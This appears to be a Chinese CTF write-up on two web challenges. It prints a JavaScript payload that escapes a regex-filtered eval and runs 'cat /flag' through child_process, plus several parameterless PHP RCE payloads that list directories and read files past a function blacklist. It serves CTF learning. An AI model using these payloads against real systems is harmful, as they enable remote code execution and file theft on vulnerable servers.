3月19日做题

[NPUCTF2020]验证🐎

  if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0]))

用数组绕过first='1'&second=[1]
这里正则规律过滤位(Math.)

(?:Math(?:\.\w+)?) : 匹配 “Math” 后面可能跟着一个点和任意单词字符的部分,整个部分是一个非捕获型分组。
| : 或运算符,表示两边任选其一。
[()+\-*/&|^%<>=,?:] : 匹配括号、加号、减号、乘号、除号、与操作符、或操作符、异或操作符、取模操作符、小于号、大于号、等于号、逗号、冒号和问号中的任意一个字符。
| : 或运算符
(?:\d+\.?\d*(?:e\d+)?) : 匹配数字,可以包括小数点和科学计数法表示。
| : 或运算符
/g : 匹配空格
function saferEval(str) {if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {return null;}return eval(str);
} // 2020.4/WORKER1 淦,上次的库太垃圾,我自己写了一个const template = fs.readFileSync('./index.html').toString();
function render(results) {return template.replace('{{results}}', results.join('<br/>'));
}

最好用脚本,burp容易出错

抄的脚本

import re 
encode = lambda code: list(map(ord,code)) 
#decode = lambda 
code: "".join(map(chr,code)) a=f""" (m0=>( m0=m0.constructor, m0.x=m0.constructor( m0.fromCharCode({encode("return process.mainModule.require('child_process').execSync('cat /flag')")}) )() ))(Math+1) """ print(a+'\n') a=re.sub(r"[\s\[\]]", "", a).replace("m0","Math") print(a)

2022春秋杯冬季赛

ez_php

在这里插入图片描述

2022年春秋春季赛

Mercy-Code

无参数rce的plus
在这里插入图片描述
过滤比较严格,通过两个脚本,找到所有内置函数,和可以使用的函数

<?php
$a = get_defined_functions()['internal'];
$file = fopen("function.txt","w+");
foreach ($a as $key ) {echo fputs($file,$key."\r\n");
}
fclose($file);
?>

这里我写一个关于无参数rce的总结,之前一直遇到就是传统的无参数,没有过滤函数。

RCE主题之无参数

常规的无参数rce题目,要求字母开头跟着()镶嵌.
举例

var_dump(get_cwd());
system(next(getallheaders()));

这种形式可以符合题型要求

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {    eval(\$_GET['star']);
}

但如果题目进行升级,过滤var_dump,system等这些常规函数,有哪些特别函数可以用来进行rce,又该如何构造?
这里以[2022春秋杯]Mercy-code来进行讲解,明显发现题目变化主要在过滤,\w换成了[a-z_]其实就是大写和数字去掉了,本来也不影响的。

<?php
highlight_file(__FILE__);
if ($_POST['cmd']) {$cmd = $_POST['cmd'];if (';' === preg_replace('/[a-z_]+\((?R)?\)/', '', $cmd)) {if (preg_match('/file|if|localeconv|phpversion|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log|var_dump|pos|current|array|time|se|ord/i', $cmd)) {die('What are you thinking?');} else {eval($cmd);}} else {die('Please calm down');}
}

这里因为能力有限,脚本函数都是取自大佬的,根源是谁也不知道,但学习就对了。
获取PHP内置函数

<?php
$a = get_defined_functions()['internal'];
$file = fopen("function.txt","w+");
foreach ($a as $key ) {echo fputs($file,$key."\r\n");
}
fclose($file);
?>

查找能使用的函数

import re
f = open('function.txt','r')
for i in f:function = re.findall(r'/file|if|localeconv|phpversion|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log|var_dump|pos|current|array|time|se|ord/i',i) if function == [] and not '_' in i:print(i)

这里能找到很多函数,我是从别人的经验里总结了几种方法

uniqid(),这个函数前部分的内容是不变的,每次改变的是后面的内容,自己多次运行后发现前五位是不变的
在这里插入图片描述

strrev() 函数将字符串反转
在这里插入图片描述

chr 生成ASCII的对应字符
那我们通过strrev取出随机的unqid产生的数字进行转码就能有机会构造出.
我们目标就是先构造能读取当前目录的函数表达式
通过这脚本可以发现是有机会生成.的

<?php
for($i=0;$i<1000;$i++)
echo(chr(strrev(uniqid())));
?>

在这里插入图片描述
这里有一点注意,只有php7版本以下对类型不敏感,否则会报错显示chr('12313123')这种无法转化字符串的.
scandir() 返回目录
生成
scandir(chr(strrev(unqid))
找到implode函数
implode() 将一维数组转换成字符串
die() 结束进程,并输出内容,等同于 exit()
echo 可以用die代替
发现成功
在这里插入图片描述
发现疑似flag文件在尾部
然后就是读取文件,这里利用end()函数得到文件名

end() 将数组的内部指针指向最后一个单元
show_source() 语法高亮一个文件 highlight_file() 别名
show_source可以用file代替
成功

cmd=show_source(end(scandir(chr(strrev(uniqid())))));

在这里插入图片描述
但这里我们如果再提高难度,不在当前目录怎么办?,在上一级的目录
chdir(‘…’) 是 PHP 中用于改变当前工作目录的函数要跳转到上层目录需要构造两个点即chdir('..')
从当前目录返回的值我们有经验知道第二个数组里面就是'..',我们可以用next来获取第二个数值

cmd=echo(implode(scandir(next(scandir(chr(strrev(uniqid())))))));

成功
在这里插入图片描述
还有人问根目录呢?前面随机里本就有/出现,同样可以读取到。
再增加难度,如果说这个unqid不能使用怎么办.

方法plus

搜索headers头查找到apache_request_headers()

发现end(apache_request_headers()可以获得80

通过三角函数我们尝试去获得46,chr(46)=‘.’
ceil() 是 PHP 中用于向上取整的函数
在这里插入图片描述
具体方法自己调试
得到如下payload

ceil(sinh(cosh(tan(ceil(cosh(sin(tan(end(apache_request_headers()))))))))) // 通过运算得到 46 
然后我们找到flag位置输出即可cmd=show_source(end(scandir(chr(ceil(sinh(cosh(tan(ceil(cosh(sin(tan(end(apache_request_headers())))))))))))));

除此之外其实还有很多例如
cmd=show_source(end(scandir(next(each(str_split(spl_autoload_extensions()))))));
大家可以自己去研究尝试一下,也许下一次的题就是出题人自己研究的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/756444.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

优化器算法SGD、Adam、AdamW等

文章目录 SGDSGD with momentumSGD with Nesterov AccelerationAdaGradRMSpropAdaDeltaAdamAdamW参考资料 假设有&#xff1a; 待优化的目标函数为 f ( w ) f(w) f(w)&#xff0c;使用优化算法来最小化目标函数 f ( w ) : a r g m i n w f ( w ) f(w):argmin_wf(w) f(w):argmin…

【Mysql】面试题汇总

1. 存储引擎 1-1. MySQL 支持哪些存储引擎&#xff1f;默认使用哪个&#xff1f; 答&#xff1a; MySQL 支持的存储引擎包括 InnoDB、MyISAM、Memory 等。 Mysql 5.5 之前默认的是MyISAM&#xff0c;Mysql 5.5 之后默认的是InnoDB。 可以通过 show engines 查看 Mysql 支持…

外包2月,技术退步惊现!大专生逆袭大厂,全靠这份神秘资料!

大家好&#xff0c;我是一名大专生&#xff0c;19年通过校招进入湖南某软件公司&#xff0c;从事功能测试工作已近4年。今年8月&#xff0c;我意识到长期舒适的环境让我变得不思进取&#xff0c;技术停滞不前&#xff0c;甚至因此失去了谈了2年的女朋友。我下定决心&#xff0c…

金蝶云星空——插件dll重新发布报错:鏃犳硶鏄剧ず椤甸潰锛屽洜涓哄彂鐢熷唴閮ㄦ湇鍔″櫒閿欒銆�

项目场景&#xff1a; 金蝶插件开发 问题描述 今天更新了插件dll然后重启IIS金蝶就报如下错误&#xff1a; 解决方案&#xff1a; 折腾了一天结果发现是给自己挖坑了&#xff0c;这次更新我担心插件代码有问题就把原dll重命名了然后把最新dll更新到金蝶bin文件中&#xff0c…

【DBC专题】-11-使用Cantools将CAN/CANFD DBC自动生成C语言代码

目录 1 安装Python和Cantools 1.1 查看Python已安装的Package包 1.2 在Python中安装Cantools插件包 1.3 获取更多Cantools工具的更新动态 2 经典CAN/CANFD DBC自动生成C语言代码 2.1 批处理文件CAN_DBC_To_C.bat内容说明 2.2 经典CAN/CANFD DBC文件要求 2.3 如何使用生…

网站引用图片但它域名被墙了或者它有防盗链,我们想引用但又不能显示,本文附详细的解决方案非常简单!

最好的办法就是直接读取图片文件&#xff0c;用到php中一个常用的函数file_get_contents(图片地址)&#xff0c;意思是读取远程的一张图片&#xff0c;在输出就完事。非常简单&#xff5e;话不多说&#xff0c;直接上代码 <?php header("Content-type: image/jpeg&quo…

clipboard好用的复制剪切库

clipboard是现代复制到剪贴板的工具&#xff0c;其 gzip 压缩后只有 3kb&#xff0c;能够减少选择文本的重复操作&#xff0c;点击按钮就可以复制指定内容&#xff0c;支持原生HTMLjs&#xff0c;vue3和vue2。使用方法参照官方文档&#xff0c;so easy&#xff01;&#xff01;…

装X神器,装X图片生成器,高富帅模拟器

先展示两张效果 基金装X图 短信存款图 神器功能展示 总共有12大类可供用户选择 还有一些美感的&#xff1a; 总结 总之种类非常多&#xff0c;有了这个神器你懂的&#xff5e; 关注下方公众号&#xff0c;回复【zzsq】即可获取。

2、鸿蒙学习-申请调试证书和调试Profile文件

申请发布证书 发布证书由AGC颁发的、为HarmonyOS应用配置签名信息的数字证书&#xff0c;可保障软件代码完整性和发布者身份真实性。证书格式为.cer&#xff0c;包含公钥、证书指纹等信息。 说明 请确保您的开发者帐号已实名认证。每个帐号最多申请1个发布证书。 1、登录AppGa…

Linux软件管理(1)

软件管理 下载 wget Linux wget是一个下载文件的工具&#xff0c;它用在命令行下。 wget工具体积小但功能完善&#xff0c;它支持断点下载功能&#xff0c;同时支持FTP和HTTP下载方式&#xff0c;支持代理服务器和设置起来方便简单。 1.语法 wget [选项]……[URL]…… 2、…

阅读基础知识1

一 网络 1. 三次握手四次挥手 三次握手&#xff1a;为了建立长链接进行交互即建立一个会话&#xff0c;使用 http/https 协议 ① 客户端产生初始化序列号 Seqx &#xff0c;向服务端发送建立连接的请求报文&#xff0c;将 SYN1 同步序列号&#xff1b; ② 服务端接收建立连接…

洛谷_P1068 [NOIP2009 普及组] 分数线划定_python写法

P1068 [NOIP2009 普及组] 分数线划定 - 洛谷 | 计算机科学教育新生态 (luogu.com.cn) 知识点&#xff1a; 这道题用到了自定义排序规则 n, m map(int,input().split()) data [] for i in range(n):l list(map(int,input().split()))data.append(l)import functoolsdef my_cm…

香港科技大学广州|智能制造学域博士招生宣讲会—同济大学专场

时间&#xff1a;2024年3月28日&#xff08;星期四&#xff09;10:00 地点&#xff1a;同济大学嘉定校区济人楼310 报名链接&#xff1a;https://www.wjx.top/vm/mmukLPC.aspx# 宣讲嘉宾&#xff1a;崔华晨 助理教授 跨学科重点研究领域 •工业4.0 •智能传感器、自动光学检…

web攻防——csrf,ssrf

csrf 当我们在访问自己的管理员系统的时候&#xff0c;打开别人发的钓鱼连接就会自动增加管理员&#xff08;前提&#xff0c;后台在登录状态&#xff09;当我们打开别人发的网站&#xff0c;就会触发增加管理员的数据包 假设我们要测试这个网站 看到这个&#xff0c;就得下载一…

计算机组成原理-3-系统总线

3. 系统总线 文章目录 3. 系统总线3.1 总线的基本概念3.2 总线的分类3.3 总线特性及性能指标3.4 总线结构3.5 总线控制3.5.1 总线判优控制3.5.2 总线通信控制 本笔记参考哈工大刘宏伟老师的MOOC《计算机组成原理&#xff08;上&#xff09;_哈尔滨工业大学》、《计算机组成原理…

Positive Technologies 专家发现的漏洞已在 ABB 控制器中得到修复

&#x1f31f; 我们的同事一如既往地表现出色&#xff1a;应用分析专家 Natalia Tlyapova 和 Denis Goryushev 因发现 Freelance AC 900F 和 AC 700F 控制器中的两个漏洞而受到 ABB 的表彰。 这些设备用于自动化大规模连续循环生产设施和构建企业配送控制系统。利用这些漏洞的…

Codeforces Round 925 (Div. 3) G. One-Dimensional Puzzle【推公式+组合数学+隔板法】

原题链接&#xff1a;https://codeforces.com/problemset/problem/1931/G 题目描述&#xff1a; 有 4 种拼图&#xff0c;其中第 i 种拼图有 ci​ 张。 两张拼图可以连结当且仅当它们相邻的卡槽中一个凹陷一个突出。 我们希望将所有的拼图从左往右拼起来&#xff0c;求总方案…

js 中文乱码解决、乱码对照

1、js iso-8859-1转utf-8 在JavaScript中&#xff0c;可以使用内置的TextEncoder和TextDecoderAPI来实现ISO-8859-1编码和UTF-8编码之间的转换。以下是一个将ISO-8859-1编码的字符串转换为UTF-8编码的示例代码&#xff1a; function convertISO88591ToUTF8(isoString) {// 将…

C语言数据结构基础——二叉树学习笔记(二)topk问题

1.top-k问题 1.1思路分析 TOP-K 问题&#xff1a;即求数据结合中前 K 个最大的元素或者最小的元素&#xff0c;一般情况下数据量都比较大 。 比如&#xff1a;专业前 10 名、世界 500 强、富豪榜、游戏中前 100 的活跃玩家等。 对于 Top-K 问题&#xff0c;能想到的最简单直…

Gradle v8.5 笔记 - 从入门到进阶(基于 Kotlin DSL)

目录 一、前置说明 二、Gradle 启动&#xff01; 2.1、安装 2.2、初始化项目 2.3、gradle 项目目录介绍 2.4、Gradle 项目下载慢&#xff1f;&#xff08;万能解决办法&#xff09; 2.5、Gradle 常用命令 2.6、项目构建流程 2.7、设置文件&#xff08;settings.gradle.…